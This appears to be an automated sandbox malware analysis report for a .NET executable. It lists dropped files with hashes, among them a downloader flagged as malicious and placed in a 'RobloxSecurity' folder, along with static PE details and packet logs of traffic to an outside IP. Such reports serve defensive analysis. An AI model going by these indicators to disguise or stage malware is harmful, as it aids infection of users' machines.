Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.379131272179432
Encrypted:	false
SSDEEP:	48:ZWSU4y4RQmFoUeWmfgZ9tK8NPP8m7u1iMugei/ZPUyuE:ZLHyIFKL3IZ2KHVOugsE
MD5:	BAE959C907A8BF1C9DA9D7779AEAB956
SHA1:	7A5EF77FF6B9A251B38EA7284D14F31CE1F72D41
SHA-256:	DB9E2A6D8EF4584F7B714716AA2637B2CFD3B8F55939CFE15B0EE3DAD61D7E80
SHA-512:	362F8BD77889F4C6F1786B88E0AAF095174CCCD831B5BC4886659A6D3DB6693C13E17A97674B0A510A5820CAA0C6C59DD95785089203990961B9DFF9169900C3
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	131528
Entropy (8bit):	5.587236079192015
Encrypted:	false
SSDEEP:	3072:UsziYfIDSul4Z49b1KACKvCfGZ4sYRuRnsqlEr:UsvESS4Z49b1bSG2snm
MD5:	869F82DF0992DC2F5155D8F69FD1C9CF
SHA1:	5B48D32ACA1F7705C03E2BD592F68A2B9C9A7A22
SHA-256:	D77412B72A893EE96E82D7EFBD9FC2612176DA00DF5EBC066C13C303F558BCC9
SHA-512:	B0F0E7F6354B64CAC887600690531BA93F8AEB79E746FB9848C5F16F09931E3D8B5C2AD2A617FB9C978020450B4F717F9485D468B9C6098E6F319A59B26FAD19
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....[..........."...0.................. ........@.. .......................@............`.................................L...O.......8................'... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...8...........................@..@.reloc....... ......................@..B........................H...........X.......5...................................................PK..........................................5...P...n...w...{...................................................................\|.......................8...K.......................[......."...#...&...'...........=.......F.......8...............2...p...s...a............ ...#...'...+...c...i...i...i...i..PK......PK......PK......PK..F...o .....(r....".(s.....s,.........(&....~(....ou....!...~!...(3....".

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h200bfl.rmg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jghiq33d.kjq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mc5dlpdd.are.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nt4c2ncj.tfe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\hahahahaha.txt

Download File

Process:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	120
Entropy (8bit):	4.564485170699406
Encrypted:	false
SSDEEP:	3:BOzReCWAMb7iDRVivmiurQlyrWRYAdMKq8QFKxrg5bvn:UaXiDRAYrQlyrKKv6c5bvn
MD5:	E10E8583FFEE40E89FEF7419CC14ADA4
SHA1:	1D97614F6E46CB7B87F96740E9C315931BDAF222
SHA-256:	615581F4791B9D308FDC033455A8E2F22A01CE236C185908652B8B0A93CFF589
SHA-512:	6139701FA1C1B937611500F4875CB000E03FDA04732BA6F7B0BA074E7FA2AFDCC8970A6C326B8754F9E1C87BE56E2DDF1293F957B6EA9C07228E062936B06AAD
Malicious:	false
Preview:	Failed to listen on prefix 'http://127.0.0.1:6787/' because it conflicts with an existing registration on the machine...

C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe

Download File

Process:	C:\Users\user\Desktop\jqOHOuPMJP.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	131528
Entropy (8bit):	5.587236079192015
Encrypted:	false
SSDEEP:	3072:UsziYfIDSul4Z49b1KACKvCfGZ4sYRuRnsqlEr:UsvESS4Z49b1bSG2snm
MD5:	869F82DF0992DC2F5155D8F69FD1C9CF
SHA1:	5B48D32ACA1F7705C03E2BD592F68A2B9C9A7A22
SHA-256:	D77412B72A893EE96E82D7EFBD9FC2612176DA00DF5EBC066C13C303F558BCC9
SHA-512:	B0F0E7F6354B64CAC887600690531BA93F8AEB79E746FB9848C5F16F09931E3D8B5C2AD2A617FB9C978020450B4F717F9485D468B9C6098E6F319A59B26FAD19
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....[..........."...0.................. ........@.. .......................@............`.................................L...O.......8................'... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...8...........................@..@.reloc....... ......................@..B........................H...........X.......5...................................................PK..........................................5...P...n...w...{...................................................................\|.......................8...K.......................[......."...#...&...'...........=.......F.......8...............2...p...s...a............ ...#...'...+...c...i...i...i...i..PK......PK......PK......PK..F...o .....(r....".(s.....s,.........(&....~(....ou....!...~!...(3....".

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466124802594884
Encrypted:	false
SSDEEP:	6144:lIXfpi67eLPU9skLmb0b44WSPKaJG8nAgejZMMhA2gX4WABl0uNEdwBCswSbA:GXD944WlLZMM6YFHq+A
MD5:	0B41F0D1011D6FFA013E52F811F4F71B
SHA1:	61D222828FC0895D776ABE64598659C31B038EFA
SHA-256:	550D698638F5585C2C5605D7BF1D8D2D6CB51795D62A084A5FC1B5B69D4AED55
SHA-512:	919455EED658B8532490C95E7A333186D1B69E0636F1339834DE431CD2E132D2E5B9644570A46563326EE33E46E74A036C516A9D5834AA3C7C05DC70173DCE86
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...?4\..............................................................................................................................................................................................................................................................................................................................................4...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.261474995854771
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	jqOHOuPMJP.exe
File size:	14'336 bytes
MD5:	7e9a93c69aecfc2bbda9470fbd4556db
SHA1:	ab0e810472a897affac1a761b49595939f6897a9
SHA256:	82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647
SHA512:	59abfa455c148c88959f992864de627857e950d9abb36b49efd979da4139a50847932d9577d658d0d793802ef5a6f6b91520440af2ff983dbf04126cf909d342
SSDEEP:	384:1R8wtU1eai/zbM/XygkxOu6cyhLWi1fXlSW:1eCU1vi7blHhyhiij
TLSH:	2F522C3577E49637CABE0E7649B253404375EA068822DFDD2CC8600D5DD3B868562FB7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....A..........."...0..............M... ...`....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x404d16
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x8F4114C5 [Wed Feb 28 05:04:05 2046 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4cc1	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x59c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4c3c	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2d1c	0x2e00	6a50215a4de9009c9822c87b3aefe82a	False	0.5207201086956522	data	5.580839345941778	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x59c	0x600	32791b53ec0675637a2192fac6511faa	False	0.4166666666666667	data	4.030670859022482	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	6136f169555e82248bf6cc07cc9f65cc	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x6090	0x30c	data			0.4358974358974359
RT_MANIFEST	0x63ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 10, 2024 16:17:08.365370989 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.642452955 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.642586946 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.643671036 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.921837091 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921875000 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921915054 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921937943 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921937943 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.921962976 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921992064 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.921998024 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.922015905 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.922038078 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.922040939 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.922065973 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.922085047 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:08.922091961 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:08.922133923 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.198327065 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198416948 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198472023 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198520899 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198577881 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198628902 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198632002 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.198632956 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.198682070 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198738098 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198787928 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198803902 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.198803902 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.198865891 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198925018 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.198980093 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199033022 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199038029 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.199038029 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.199084997 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199136972 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199139118 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.199191093 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199239969 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.199240923 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199291945 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199342966 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199343920 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.199394941 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.199445009 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475084066 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475115061 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475151062 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475173950 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475181103 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475197077 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475224972 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475228071 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475249052 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475274086 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475277901 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475301981 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475325108 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475327015 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475348949 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475374937 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475375891 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475399017 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475419998 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475420952 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475449085 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475465059 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475474119 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475497007 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475517035 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475517035 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475543976 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475560904 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475565910 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475589991 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475611925 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475621939 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475636005 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475657940 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475658894 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475682020 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475706100 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475714922 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475728989 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475750923 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475752115 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475775003 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475795984 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475797892 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475821018 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475841045 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475841999 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475867987 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475888014 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475891113 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475914001 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475934029 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475936890 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475960970 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.475979090 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.475985050 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.476007938 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.476028919 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.476032972 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.476079941 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756203890 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756247044 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756272078 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756294966 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756326914 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756356001 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756381035 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756380081 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756380081 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756398916 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756405115 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756428957 CET	80	49729	82.147.85.194	192.168.2.4
